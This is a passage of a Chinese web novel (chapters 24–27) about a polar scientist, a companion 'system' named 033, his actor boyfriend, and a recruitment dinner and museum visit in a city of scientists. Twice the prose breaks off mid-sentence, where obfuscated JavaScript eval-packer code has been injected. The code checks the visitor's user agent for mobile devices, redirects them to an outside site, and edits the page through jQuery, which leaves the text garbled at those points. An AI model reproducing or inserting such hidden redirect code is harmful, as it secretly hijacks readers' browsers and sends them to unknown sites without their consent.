戚清棠看见这边的情况,急忙跑过来:“则锋哥哥,你怎么来了?” “你还打算让自己再受伤一次?你是我们之中最小的,从小我们这些做哥哥的都把你当做掌上明珠一样捧着,我看不得你和这种冷暴力你、不尊重你的人在一起!”蒋则锋一脸深情的注视着戚清棠,“我知道你善良,可你也要珍惜自己,以你的条件,泊岳什么样的世家公子找不到,为什么要吊死在这一颗树上?” 褚月恒冷眼看着蒋则锋输出,只冷冷的说了句:“你未婚妻在等你。” 一句话正中靶心,戚清棠看蒋则锋的眼神立刻疏离了起来:“我的月恒的事儿和则锋哥哥没关系。” “那是我妈强迫我的。”蒋则锋仿佛受了什么巨大委屈一样,露出故作坚强的表情,无奈的叹了口气,“清棠,我们认识二十年了,你叫我一声哥,你的事就和我有关系,我看不得你糟蹋自己。” 戚清棠的神情有些动容:“则锋哥哥,月恒已经改了,我想给他一个机会,你也给他一个机会吧。” “追你的人那么多,你何必浪费时间给某些不值得的人第二次机会,不合适,换一个就是了。”蒋则锋心疼的看着戚清棠,“何况,就算你一辈子不结婚,我们这些哥哥也会疼你一辈子的。” 033担忧的看向褚月恒,在原来的时间线里,褚月恒该向戚清棠证明自己才是最能照顾他的人了。它不想褚月恒去自证这些,可不知道说什么才能阻止褚月恒。褚月恒想办成一件事,不会因为其他人的三言两语而退缩的。 可令033惊讶的是,褚月恒什么也没说,他只是冷眼看着戚清棠和蒋则锋,像是在衡量,又像是在观察。 本该褚月恒接话的地方,他选择了沉默,一时间,气氛有些尴尬。 戚清棠低下头:“则锋哥哥,我们当然会是一辈的好朋友,但是月恒也是我重要的人,我希望你能接纳他。” 戚清棠看向褚月恒:“月恒,则锋哥哥是我发小,是除了我亲哥外对我最好的人,我希望你们能好好相处。” 陷入思考的褚月恒知道自己再不说话,戚清棠就又该怀疑他的真心了,于是他念台词般说:“我会努力证明给你们看的,我会照顾他、尊重他、爱护他。” 蒋则锋挑剔的上下打量着褚月恒:“你怎么照顾他?你是有钱还是有权?这名利场混乱着呢,你拿什么照顾他?” 在原来的时间线上,褚月恒就是在这时候下定决心进入名利场的,随后一步步成为了成功的商人,033害怕褚月恒再次走错路。 “月恒,他的说法是有局限性的。”033干巴巴的说。 在旁边看热闹的梵七叶皱起了眉头,争风吃醋她可以不管,撬墙角可不行,眼看着蒋则锋撺掇她带的科学家去娱乐圈做商人,她可不会忍气吞声:“剧组很忙,这位同志,你现在是在妨碍剧组工作。” 蒋则锋不屑的瞥了梵七叶一眼:“你是谁?” “能打电话给你未婚妻的人,你再咆哮剧组,我就叫她来把你领走。”梵七叶的语气略带几分嘲讽,把蒋则锋额头上的血管都气出来了。 可蒋则锋还真怕戚语冰来剧组闹,他还是要脸的:“清棠,咱们这周末在茶室见。” 说完后,蒋则锋落荒而逃。 褚月恒疑惑的看向梵七叶:“你认识戚语冰?” 梵七叶哭笑不得:“骗他的,我哪儿认识什么戚语冰。褚总,你说你一个大冰棍,是怎么经营出这么复杂的感情生活的。” 褚月恒听出来这是在嘲笑他,但是梵七叶刚帮了他,他又不好发作,只能憋屈的说:“你还小,不懂。” 结果梵七叶被逗得哈哈大笑,笑的褚月恒又想钻地缝了。 —— 褚月恒没想到这个所谓的‘晚宴’居然在街边的酒馆里,虽然这是个很高档的酒馆,但这依旧显得有些草率。 这个叫做‘海雾’的酒馆沉浸在一片黑暗里,唯有中央深蓝色的水池散发着微光。二楼露台只有他们三个人,李清木穿着舒适的休闲服,笑眯眯的说:“晚风一吹可真舒服。” 心怀鬼胎的公山易禾附和着点点头,然后在黑暗里悄悄盯着褚月恒看。 长年在黑暗中活动的褚月恒立刻敏锐的捕捉到了公山易禾的目光,并出于对朋友的热情,对公山易禾露出一个微笑。 “月恒,你要点哪个?”公山易禾的手藏在桌子下面,把自己的西装都揉皱了。 褚月恒看着满篇的酒,有些为难,直到他看到一堆酒水里藏着一个冰茶,立刻说:“长岛冰茶。” “我要一样的。”公山易禾对服务员笑了笑。 “月恒,你小时候真的生活在冰川里吗?”李清木眼中闪烁着好奇的光芒,很纯粹。 这种上司褚月恒还第一次见,他不太适应的回答:“对。” “那冰川里有汽车吗?”李清木虽然在纪录片里看过北宁族的生活,但她还是不太相信这个时代会有民族过着那么原始的生活。 “汽车开不进去。”褚月恒诚实的回答。 “那雪地车呢?” “雪地车也不太方便,山地非常陡峭。” 公山易禾帮褚月恒解释:“他们北宁族真的生活在冰川里,和纪录片里讲的一样,几十年前还靠打渔为生,近些年做了一些旅游项目,不少族人从冰川里出来赚钱,但他们的祖宅还在冰川里,属于禁区。” 李清木了然的点点头:“那月恒能去定北大学念书,一定是非常聪明。我们岳阳湖区的情况你也见到了,几百年来一直都是天才的聚集地,对于如何发挥顶尖大脑的潜力、如何让每个科学家生活的舒心,都已经形成了非常成熟的体系。” 说完这一堆话,李清木的图穷匕见:“你觉得这里和你们研究所比起来,怎么样?” 褚月恒都不想干这行了,对自己在哪儿干活儿自然是不在意,不过面子上还是要敷衍着拒绝一下,省的换单位走手续折腾:“我的主要研究成果是冰海潜水器,需要在冰海旁边,所以那里更适合我。” “我们岳阳湖区的人才遍布全世界,你可以去任何你想要去的地方。你想研究冰海,你要知道冰海最深最神秘的区域并不在夏国,你们研究所有让你跨越国境线研究的能力吗?” 褚月恒有些心累,李清木提出的条件自然是十成十的好,但他现在不想思考这些。 好在李清木也不是咄咄逼人的人,她说完这些后并没有逼着褚月恒立刻做选择,而是聊了一下项目的规划和细节。 没过一会儿,他们的酒来了。 今天这个局主要目的还是为了互相了解,增进感情,酒上来后,李清木就没再说工作的事。 时间刚好到晚上八点,酒馆周围的高楼大厦开始新一波繁荣的灯火秀,风吹落泊岳河边的桃花,远方传来人群的欢呼声,不知道他们在欢呼些什么。 “我小学就在这附近念的,每天下午放学都要经过泊岳河,从美食街买个岳阳糕,吃完后再去量子大厦里的奇异博士小课堂做讲解员。”公山易禾喝了口酒,悠闲的聊着。 李清木附和着:“我女儿比你小两岁,她那会儿可喜欢你这个小讲解员了。” “奇异博士爷爷去年刚去世,感觉像是我们童年的印记也跟着一起消失了。” “是啊,我女儿小时候最喜欢看他的节目了,你们这一代多少孩子是因为他才立志当一名科学家的。” 伴随着桃花香,公山易禾和李清木你一言我一语,为褚月恒勾勒出一个完全不同的世界,褚月恒第一次知道原来人还可以这样活。 学校离家只有几个街区,有从小一起玩到大的朋友,早早放学后去参与自己选择的各种社团活动,周末去周围的名胜景区逛一逛,晚上回家后逗一逗自己的猫猫狗狗,假期满世界游玩长见识,偶尔参加个夏令营就能见到世界顶级的科学家。 戚清棠小时候也是这样过的吗? “月恒有对象吗?”李清木突然问了句。 褚月恒看了眼公山易禾,不确定自己可不可以说实话。 公山易禾轻笑了一下,叹了口气:“他有男朋友, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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褚月恒在他们开始聊娱乐明星后就感到无聊了,于是他喝了一口他的冰茶,喝了一口感觉味道不错,就又喝了一口,再之后褚月恒就陷入了宕机。 他看向李清木和公山易禾,能清晰地听到他们说了些什么,也能清楚的思考,但当公山易禾问他话时,他没意识到自己需要回答,只是眨巴着眼睛默默听着。 “你醉了?”公山易禾伸手在褚月恒眼前摇了摇。 褚月恒缓慢地眨了眨眼,像一只树懒。 “他把一杯都喝光了,喝的太快了,这玩意儿里面混着三种酒呢。”李清木咂咂嘴。 “月恒,还认识我吗?”公山易禾拉了拉褚月恒的袖子。 褚月恒立刻反应敏捷的收回了自己的手,拒绝触碰。 李清木拿起车钥匙:“我去开车,你负责把他弄下来。” 公山易禾无奈的摊手:“但是他不让我碰他。” “我看他行动挺敏捷的,你哄着他自己走下来,没问题的。”李清木拍了拍公山易禾的肩膀,“你可以的,加油。” “我不可以,院长你别走。”公山易禾可不敢单独和醉醺醺的褚月恒呆在这昏黑的环境里,他怕自己忍不住去闻褚月恒的头发,原来电视剧里说喜欢一人会想闻他的头发是真的,他是真的忍不住。 “哎呀,你一碰他,他就躲开,你就一边碰他一边往门口走,他不也会一边躲你一边往门口走吗?” 李清木这个想法太魔性了,把公山易禾心中的暧昧都魔性没了,他无奈道:“好好好,我把他弄下去。” 说完后,公山易禾低下头,看见褚月恒正坐在椅子上盯着他看,黑眸沉沉的,看上去很不好惹。 公山易禾咽了咽口水,虽说他是喜欢褚月恒没错,但有时候,他还是挺怕他的:“那个,那我碰你啦?你可千万别生我气,要怪都怪李院长。” 推卸完责任,公山易禾试探着拉住褚月恒的手。 公山易禾的手非常热,可能泊岳人的体温都高吧,褚月恒抬起头,迷蒙间看见那双妩媚的眼睛:“清棠。” 公山易禾僵住了:“我不是戚清棠。” 褚月恒微微凑近看了看:“清棠。” 公山易禾恼怒的松开褚月恒的手:“不是!” 褚月恒站起来,敏捷的抱住公山易禾:“清棠。” 公山易禾气的额头上青筋直跳:“不许!叫我!清棠!” 褚月恒用脸蹭了蹭公山易禾的肩膀:“好。” “那我是谁?”公山易禾试探着问。 “媳妇儿。”褚月恒的睫毛蹭到了公山易禾的脸。 公山易禾自己也不知道自己是被蹭的脸红还是被气的脸红,他深吸了一口气,柔声说:“我是公山易禾,还记得我吗?我是你的朋友公山教授,你还送我了珍贵的北极熊牙,因为我是你在意的好朋友。” 褚月恒松开公山易禾,认真的看了看他,然后冷淡的回应:“哦。” 公山易禾觉得褚月恒真是个天才,在伤他的心方面是个天才:“好,我们下楼吧。” 褚月恒微微恢复了几分清醒,开始慢悠悠的下楼。 心脏哇凉的公山教授走了几步,又担心褚月恒摔着,不得不折回来跟在褚月恒身边,伸手护住他,又不敢真的碰到他,只能虚扶着。 褚月恒低头,发现公山易禾的胳膊挡住他看台阶了,于是十分果断的把那碍事儿的胳膊巴拉开…… 公山易禾认为如果是在漫画里,他可能已经变成石头碎掉了。 25. 北极星 “有点遗憾,本来还打算带月恒去参观量子大厦的,那里收藏着咱们岳阳湖区最伟大的智慧。”李清木打开转向灯准备左转。 “最伟大的智慧?”正无聊的看着窗外的褚月恒突然凑过来,“我要去。” “酒醒了?”李清木稀奇的说,“你清醒的还挺快的。” 褚月恒顿了一下,然后说:“我没醉。” 他现在能清晰的分清楚幻想和现实,五感收集到的来自外界的信号没有丝毫延迟的传入他的大脑,并被清晰地做成4D胶片储存,从海马体依次运输至大脑皮层。 所以,他一定是没醉。他清醒的就像大鳍后肛鱼,能清晰地看到自己大脑活动的样子,他这辈子就没这么清醒过! “我看他是没清醒。”公山易禾把褚月恒拉回后座,系好安全带,“好好坐着,安全第一。” “什么是最伟大的智慧?”褚月恒认真的看着公山易禾,求知欲抓心挠肺,他好久没感受到过这么强烈的好奇心了,真是恨不得把公山易禾倒过来晃一晃,然后知识自己就能从他脑子里掉出来了。 “就是近十年的岳阳湖奖得主的纪念馆,里面有这十年各个领域获奖者捐献的纪念品。不过你作为岳阳湖区的一份子,不光能参观这个纪念馆,还可以参观位于纪念馆之上的实验室。岳阳湖奖不光授予获奖者丰厚的奖金和泊岳中心的别墅住宅,还有一间位于量子大厦的独立实验室。” “不感兴趣。”褚月恒失望的坐回窗边。 李清木被褚月恒的孩子气逗笑了:“那你说晚了,我们已经到。来都来了,上去看看吧。” 褚月恒兴致缺缺的跟他们上了二十楼,从二十楼银白色的露台外,能看到泊岳城繁盛的灯火和宽广平和的岳阳河,星河坠在银白色的大厦之后,远山的影子在城市的边际依稀可见。 大厦下面研究所占地面积很大,研究所里没什么闲逛的人,只有安静的棕榈树和依稀几条游轮。 “现在有点兴趣了吗?和我们一起去展馆逛逛吧。”李清木微笑着邀请道,神色带着几分对小辈的纵容。 “这展馆就是我小时候当讲解员的地方,我已经很久不为参观者服务了,不过今天你是我的VIP。”公山易禾做了个‘请’的手势,在这兼具奢华与古典美的殿堂,他看上去像是老电影里的绅士。 褚月恒突然有些怀疑自己是陪戚清棠看电影看傻了,产生了幻觉。 他们一起参观了可编辑基因的‘剪刀’、能抓住细胞中细菌的‘镊子’、世界上第一个会思考的机器…… 走过铺着厚重地毯的展厅,那些神奇的器械和古老的厅堂形成了奇特的对比。 在公山易禾幽默风趣的讲解的陪伴下,褚月恒回想起自己彻夜研究潜水器的时光,极地凌冽的风和机器轰鸣的声音短暂的从他脑海里闪过,然后消失的无影无踪。 就像燃尽的火把,偶尔闪过微弱的火星,却无力再燃起火焰。 “这就是李院长的作品了,”公山易禾打开模型的灯,“一种可以中和病毒的蛋白质。” 李清木有些感慨的看向墙上的照片:“我那时候多年轻啊,以后这世界就是你们年轻人的了,你们的作品一定会出现在这里。” 公山易禾眼中闪过生机勃勃的光芒,褚月恒认得那是‘野心’,是对这大千世界永无止尽的好奇与热爱。 “还记得获奖那天,我和我导师像平时那样在泊大门口的咖啡馆聊当天的工作任务,她每天都要在用餐前听完咖啡店的钢琴家演奏完一曲,我听不懂什么古典乐,每次都是饿的前胸贴后背,一边苦着脸喝咖啡,一边眼巴巴的看着服务员手中的小蛋糕。时间过得多快啊,很多生活上的细节好像是在做实验的缝隙里悄然发生的,可现在回想起来,一切都太清晰了。” 李清木温柔的看向褚月恒和公山易禾:“等你们到了我这个年纪,回望现在走过的每一步,也会为自己感到惊叹的。” 公山易禾赞同的点点头:“我最近也悟到了一些事情,很多生活点滴伴随着我们对自己的北极星的追随悄然而过,回想起来却觉得很美好。” 褚月恒迷茫的看着他们俩,不知道谈话怎么就走向了这里。在极地,没人会谈这么感性、这么深刻的话题,哪怕是在定北城都没有,可在泊岳,这一切都自然而然就发生了。 他们说的话题离他太多遥远,以至于他无法理解,奇怪的是,尽管他无法理解,却丝毫没感到无聊,他们说的每一个字,都清晰的刻进了他的脑海里。 李清木突然说:“我们岳阳湖区的人喜欢把自己的科研梦想称作北极星,是不是证明泊岳和极地有种别样的缘分?” 褚月恒反应慢半拍的意识到这是他该说话的地方了,于是他实事求是的说:“应该是因为北极星比较亮,在远古时代可以为人类指明方向吧。” “月恒,你终于醒酒了?”李清木惊喜的说,“太好了,那我们去楼上吃点小点心吧!” 褚月恒眨了眨眼睛,不明白话题怎么又跳到小点心上了,但他依旧实事求是:“我没喝酒。” “还醉着呢?”公山易禾笑眯眯的凑过来,语调有点调笑,还有点宠溺。 “我喝的是冰茶,和你一样。”褚月恒执着的盯着公山易禾。 公山易禾忍俊不禁:“不是吧,褚月恒,你好歹在高级饭店工作过,居然不知道长岛冰茶是一种酒?” 褚月恒为自己的无知感到尴尬,没有说话。 不过看他那冷冷的样子,谁也不会猜到他是在尴尬。 二十一层是旋转餐厅,这家餐厅是夜宵餐厅,九点以后才开始营业,白天休息。 “这也是咱们岳阳湖区的食堂之一,你用实验室的门禁卡就可以在这儿付账。”李清木把包随手一扔,就直奔小蛋糕而去了。 餐厅中央有钢琴家在弹轻快的爵士乐,公山易禾在抱怨李清木把这里叫作‘食堂’太过没有情调。 一切似乎和公山易禾、李清木他们描绘的那个世界重合了,重合的瞬间,褚月恒体会到一种很古怪的感觉,但那种感觉转瞬即逝,很难捕捉。 等褚月恒从自己复杂的思绪里回过神来时,面前已经堆满了各种好吃的,有蓝莓口味的糕点、冰激凌、调味清淡的鱼,这些食物新奇,但又全部都在他的接受范围内,没有生的、口感黏腻的、调味过重的。 拥有这么细腻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271805|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手段的人,只可能是公山易禾。哪怕是到了泊岳,公山易禾还是这么爱照顾人。 褚月恒已经适应了公山易禾的照顾,不会再感觉诚惶诚恐,公山易禾给他的盘子里夹菜,他就乖乖的品尝,并给出‘好’或者‘不好’这样简单的反馈。 “你们关系比我想象的要熟悉得多。”李清木有些惊讶,“看来在冰海时,你们相处的很不错。” “那当然,我们一起去冰海深处探险了,是实打实的战友。”公山易禾笑眯眯的说,他的手不知是有意还是无意,搭在了褚月恒的椅子背上。 褚月恒不太适应的微笑了一下,心里那种古怪的感觉再次冒了出来。 感到安全,但想要逃跑,产生了渴望,可比渴望更鲜明的情绪是空虚感和恐惧感。 “我老公去定北城出过差,他说你们那儿酒桌文化盛行,一个个都可能喝了,月恒你和定北城的人倒是不太一样。”李清木一边开玩笑一边挖墙脚。 “我在冰海旁做实验,一个月只在定北城呆两天。”褚月恒诚实的回答,他本不是爱一字一句认真回答别人无聊问题的人,可也许是因为心中涌现的古怪的情感在作祟,他认真的回答了这个问题。 “冰海的风景太美了,院长您有时间可一定要去见识一下。”公山易禾露出回味的表情。 “那当然,月恒制作出了世界上功能最强的冰海潜水器,以后我们岳阳湖区的各行各业可都要把冰海这块宝藏利用起来了。”李清木眼中闪过精明的光,“还要给月恒在冰海旁建一座更大的独立实验室,把实验室的通讯系统和咱们岳阳湖区的系统连接起来,交通上就派王教授新做的那么高性能直升机,只需要半天时间就能两头跑。” 李清木再次表露想要招揽褚月恒的意思,这一次她说的非常直白,并且直勾勾的盯着褚月恒,等着他回应。 刚才在参观展馆的时候,她认为她看见了褚月恒的科研野心,只要有野心就好,这个世界上,没有哪里比岳阳湖区更懂如何满足一个科学家的野心了。 这一次,褚月恒没反驳:“是需要做一个成熟的冰海探索系统。” 一个成熟的系统不能只有一个潜水器,要有至少几十个潜水器,每个装载不同的设备为不同的项目服务,需要成熟的通讯系统和后勤支援系统。就像李清木刚才说的那样,建立一个大规模的基地,并随时和泊岳保持紧密联系。 这下不光李清木感到惊喜了,公山易禾、033,他们所有人都想欢呼。 033激动的用小肥手抹了抹眼泪,它的任务从它成功保住宿主工作后,就没有任何进一步的进展了。 现在,终于……呜呜呜…… 欢快的氛围还没持续多久,褚月恒的手机响了,他看了眼来电显示,选择了先回避再接电话。 李清木神色轻松的调侃道:“估计是男朋友查岗。” 公山易禾苦笑了一下,不想对此发表看法。其实他不该这么自私,应该为褚月恒和戚清棠开心的,褚月恒选择留下岳阳湖区,对他自己和清棠都是好事,他这个做大哥的,有什么理由不高兴呢? 公山易禾喝了口桌子上的甜酒,心里五味成杂。 26. 人皇 “月恒,我有句台词不明白……” 戚清棠在准备明天的戏份,有几句怎么也记不住,就来求助褚月恒。 褚月恒对此已经习惯了,以前在极地的时候,他经常在上班的时候接到戚清棠的电话,有时候是因为不会用家里的电器,有时候是出门不知道该怎么走。 起初他经常无视这些电话,然后戚清棠就会发生一些意外,比如做饭烧到手、出门迷路之类的,意外发生的多了,他就养成了接听电话的习惯。当然,实在忙的时候还是不会接。 当初是当初,现在是现在,褚月恒现在肯定不会无视戚清棠的电话。 “人类的大脑有两种学习机制,一种是分类,一种是拼装……”褚月恒沉下心来,耐心的给戚清棠讲大脑运作的原理,帮他提高记忆能力。 可这些概念都太抽象了,什么提取事物特征进行分类、用几种基本概念拼装成复杂的概念,戚清棠完全不知道该怎么把这些运用在理解剧本上。 于是褚月恒不得不按照他对戚清棠的了解,帮戚清棠完成分类和拼装,再用有趣的方式讲给他听。 这电话一打就是四十分钟,李清木和公山易禾酒都喝了两轮,褚月恒还没回来。 公山易禾犹豫了一下,然后笑着说:“院长,要不您先回吧,我等着他。” 李清木再怎么亲民,也毕竟是领导,大家一起喝酒开玩笑没关系,但把领导晾在这儿等几十分钟就有点过分了。 李清木没有推脱,她留下反而会给两个小年轻压力,而且她确实不想在这儿干等:“行,月恒对泊岳不熟悉,你方便的话,送他到学校门口吧。” 送走李清木后,公山易禾一个人心情复杂的喝闷酒。 晚上十点半,来吃夜宵的人越来越多,除了在量子大厦工作的人,还有一些慕名而来的游客。服务员关掉奢华的吊灯,每个小桌上都亮起冷蓝色的电子蜡烛,落地窗外许多霓虹灯都熄灭了,渺远的星空变得清晰。 活泼的钢琴曲变成温软的竖琴声,小情侣们拉上桌子周围的小屏风,开始自顾自的卿卿我我。 公山易禾连闷酒都喝不下去了,他也有点想走。褚月恒谈恋爱,他有什么义务在这儿干等?他的时间也是很宝贵的! “久等了。” 正在生闷气的公山易禾回头,正对上褚月恒带着歉意的微笑,他还第一次见到褚月恒社会化这么高的表情,他不得不感慨,可真是漂亮啊。 这种适用于人情世故场合的表情,怎么被褚月恒一做,就有种淡淡的疏离感,就……怪好看的,还让人怪受宠若惊的。 “还行,我趁机多吃了几个寿司,今天算是吃回本了。”公山易禾的怒气一扫而空。 可一向不通人情的褚月恒却突然看向桌上的残羹冷炙,愧疚感涌上了心头,他不该把公山易禾晾在一边的,公山易禾的时间很宝贵,这几十分钟他去做些什么不好? “对不起,我该怎么补偿你?”褚月恒眼巴巴的看着公山易禾,“这个你喜欢吗?” 褚月恒不知从哪儿拿出一个漂亮的宝蓝色钻石胸针,还是公山易禾最喜欢的那个牌子设计的。 “不至于吧。”公山易禾觉得褚月恒这个行为怪怪的,像是要用钱买他的时间一样,但想到褚月恒那贫瘠的社交技能,他又狠狠怜爱了,“你不用给我礼物,我没生气。” 褚月恒似乎有些不知所措,可他的气场太具有欺骗性,以至于不仔细看就根本发现不了他的慌乱,“你不喜欢吗?” 公山易禾连忙把胸针接过来,戴在自己西装外套上:“喜欢的,谢谢。” 褚月恒满意了,见褚月恒终于没再露出那副可怜巴巴的表情,公山易禾松了口气,不过也只有公山易禾能看出来褚月恒那个表情是‘可怜巴巴’。 “我送你回学校?”公山易禾试探着问,他猜测褚月恒会拒绝。 可褚月恒看他的眼神亮亮的,似乎是有一点不舍:“会不会太耽误你的时间?” 公山易禾的心脏一跳,意识到了什么:“不会啊,咱们今晚还没单独聊天呢,我们是好朋友,和领导开完大会不得开个小会吗?” 褚月恒赞同的点点头,满眼开心的看着自己的好朋友。 他实实在在的在公山易禾身上体会到了友情的滋味,经过这一晚,他了解公山易禾在泊岳的童年和他对科研的理想,他似乎对公山易禾更加亲近了,以至于快要分别时还有些舍不得。 原来友情是这个滋味,哪怕到了睡觉时间也想要再多和他说些话,一想到要单独待在一起就心里暗暗期待,欣赏他、钦佩他,想更了解他一些。 褚月恒不由得想到自己小时候,那时候他总喜欢一个人呆着,看到同龄人像羊群一样凑在一起终日傻笑,会暗暗觉得他们愚蠢。 也许他那会儿是有一点嫉妒他们的。 他们在泊大实验楼溜达着消食,还路过了露西的房间,冯博士安装的超大摄像头明目张胆的扭过头来紧紧追随着他们,表示冯博士正在看着他们。 “为什么露西是泊大最贵的猴子?”褚月恒有些好奇的往屋里看,公山易禾拦住了他。 “说真的,别乱看,冯博士发起癫来是很不好惹的。”公山易禾心有余悸的说,“露西大脑在冯博士的训练下,已经超越了动物应有的极限,有着不可思议的进化水准,它学习能力很强,而冯博士需要严格控制它从外界摄入的各种信息。” “所以冯博士的工作就是训练出一只比所有猴子都聪明的猴子?” 褚月恒刚说完这句,就被公山易禾拉着跑出了实验楼:“这话千万别让冯博士听到,他会从三楼跳下去的!” “为什么是……”褚月恒还想知道为什么是三楼,但是想到梵七叶说过的话,他还是没问出来这个问题。 “露西的价值超乎你的想象,冯博士在它身上做的实验,即将证明动物的智商是可以被改变的,那大脑萎缩的患者、先天不足的患者,是不是也可以采用冯博士的手段来恢复大脑的功能呢?” 褚月恒赞叹的说:“那很了不起。” “如果成功了会很了不起,但是现在还没达到那个水准。”公山易禾笑了笑,“我们每个人都有自己的北极星,但是最终成功的还是少数人。” 褚月恒想到自己全线崩塌的信仰,对此不置可否。 “月恒,你制作潜水器,是为了从冰海里得到什么呢?” 这个问题太扎心了,褚月恒从未想过冰海里具体要有些什么,他就是为了一个不着边际的念想,执着了十几年:“人类探寻太空是为了得到什么呢?” 公山易禾笑了:“我明白你的意思了。” 褚月恒心里纳闷,你明白什么了?我自己都没弄明白呢。 散完步,公山易禾领着他从超市买的一大堆东西进了褚月恒的房子,给他的冰箱、衣柜各种各样的地方配置都许多有用的小东西。 某些方面,公山易禾真的很像戚清棠,不愧是俩兄弟。 “我把零食给你放在这个柜子里,都是健康的,但还是不要吃太多,没时间做饭的话可以申请学校给你配备厨师。”公山易禾一边念叨着一边给茶几上的胖茶壶套上了红蓝相间的小裙子。 褚月恒注意到他的手上套着一个 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“我知道的,我会看说明书。”为了让公山易禾放心,褚月恒简单的多讲了几句,“而且我明天就去申请厨师。” 公山易禾走后,房间空了下来,褚月恒按下遥控,窗帘自动闭合,把整个房间变成了一个封闭空间。 按照惯例,他该洗漱睡觉了,明天一早还要陪戚清棠去剧组。可不知道为什么,他不想闭上眼睛。 奇怪的情绪在他胸口翻涌了,他忍不住打开了窗帘,又打开窗户,让夜晚的花香和隐隐约约的人声传进屋里。 梦里,他看见了公山易禾的手,昏暗的灯光下,那带着暖金色戒指的手拂过他的领口,帮他整理着胸针,那是戚清棠曾经常做的事情。 褚月恒想要看清手的主人,确认一下他到底是戚清棠还是公山易禾。 “我们下一次下海,就会看到宝藏……”熟悉的声音传来,自信、坚定,“别担心,宝藏就在冰海里,我们会找到的,那是……你的北极星……” 北极星三个字变得遥远、变得微不可闻。 凌冽的风雪袭来,他又回到了思明冰川的神女雕像怀里,这一次,他不再是小孩,他伸出手就可以够到神女的脸。 他听见自己儿时的声音在对神女说:“带我离开这里。” 褚月恒有些消沉的凝视着神女的脸,第一次平视她,他看到了许多曾经没注意到的细节,她有一双坚毅地眼睛,但那不是神的眼睛,而是人皇的眼睛。她的眼神不是居高临下的悲悯,而是另一些他不懂的、生机勃勃的东西。 褚月恒自嘲了笑了笑:“相信您会带我走的日子,可比现在好过多了。” 上一秒还在对瑰丽的冰海感到好奇,下一秒就被推进了海水里。前一刻还沉浸在瑰丽冰川奇景中,下一刻得到的就是族长的训斥和永远不许上船的禁令。心怀期待的翻开冰海神女的故事,然后被同学污蔑抄袭,被老师勒令退学。和父亲约好一起去守夜,因为对金色的极光太过好奇迟到了两分钟,还没从看到奇观的快乐中清醒过来,毒打就已经来了…… 他太久没有想起过这些记忆了,这些年他脑子里不是工作就是神女,他沉浸在对北极星的追求中,这些微贱又荒谬的琐事都化作微不足道的沙尘,他看过去就消失了。 如今把封尘的记忆盒子打开,他才后知后觉的意识到自己该生气。 他来到这个世界时充满了好奇和渴望,得到的却是那些愚蠢又低贱的人类的惩罚。 以至于这么多年过去,每当他感到开心时,还会下意识觉得另一只靴子会掉下来,他会因为某个不经意犯下的过错被惩罚。 27. 电影节 岳阳湖电影节是世界电影圈的盛大庆典,戚清棠在极地完成的那部《冰海寻踪》入围了最佳摄影奖和保护自然奖。 凌晨五点,褚月恒陪着戚清棠在化妆间忙活。 化妆师、发型师、造型师等一群人围着戚清棠忙碌,戚清棠虚弱的靠在褚月恒身边:“昨晚我莫名奇妙就失眠了,现在头痛。” 褚月恒用新学的手法给戚清棠按摩额头,并柔声细语的问:“饿么?我买了栖凤阁的桃花酥。” 戚清棠困倦的闭着眼睛,随口问:“怎么不是你做的早饭了?” 褚月恒有点心虚,还好戚清棠闭着眼睛,看不见他的表情。 前两天有一帮泊大的学生来参观褚月恒的实验室,并尝试模拟海底热泉环境,褚月恒自认为十分客观的评价其中一个学生为‘大脑在搭建系统架构方面表现得过于笨拙,像到处乱撞的苍蝇’。 然后人力资源部就给他开了一个黄牌警告,并没收他的私厨一周以示惩罚…… 没有了私厨,也就没有了戚清棠一天三顿的爱心便当。 褚月恒当然不会说实话,他一边用刚学习的手法给戚清棠按摩,一边柔声说:“今天时间太早,我没来得及做,对不起,让你失望了。” “没关系,反正我什么也吃不下,浑身难受。”戚清棠往褚月恒怀里拱了拱,像一只小猪,“月恒,我好紧张,这是我第一次参加这么大的盛会。” 造型师想趁机拍一拍戚清棠的马屁,就笑着说:“您忘了,您小时候是这里的常客呢,戚总当年拿最佳男主时,您还一起上去领奖了呢。” 提到戚砚琛,可谓是马屁拍在了马腿上,戚清棠烦躁的皱起眉头:“是么,我不记得了。” 造型师意识到自己说错话了,也就不费心思讨好太子爷了。一大早的,大家都挺困的,能把手头的活儿干好都不错了。 “月恒,我太紧张了,你帮帮我。”戚清棠搂着褚月恒的脖子撒娇。 褚月恒安抚性的搂住戚清棠:“别担心,我就在红毯边上看着你,和你的粉丝们一起为你加油打气。” 戚清棠甜蜜的笑了,刚想要说些甜言蜜语,就听见褚月恒的手机响了。 褚月恒立刻接通了电话:“七叶……没达到指标不用着急,等我晚上回去再看看,你先把你的任务做完……我现在回不去,问题短信发给我,我待会儿可能听不到电话……” 梵七叶简单的交代了一下实验进度,褚月恒很满意,梵七叶比他在极地冰海研究所那些同事要灵透的多,虽然因为刚毕业不久而经验不足,但褚月恒不怕经验不足的工作伙伴,他只怕不开窍的木鱼脑袋。 戚清棠心情复杂的从褚月恒怀里爬起来,心里对梵七叶的存在越发的膈应。 褚月恒这些天一直陪在他身边,但和梵七叶电话、短信没断过,两个孤男寡女还经常在封闭的实验室里共处,这让戚清棠怎么放心? 褚月恒刚挂断电话就听戚清棠质问:“我怎么感觉你和这个助理讲话比和研究所那些同事讲话要温柔得多?” “温柔?”褚月恒还第一次被这样形容,他感觉挺新奇的,“梵七叶和研究所的同事是不一样的,按照岳阳湖区的规定,我有义务在科研上教导我的助理,她现在完成的那些工作按理说应当是由我教导她完成,可她足够聪明,有能力独立完成,这给我们提供了极大的方便,我非常感谢她。” 还有一个原因褚月恒没说,那就是梵七叶实在太聪明了,褚月恒喜欢和聪明人打交道。 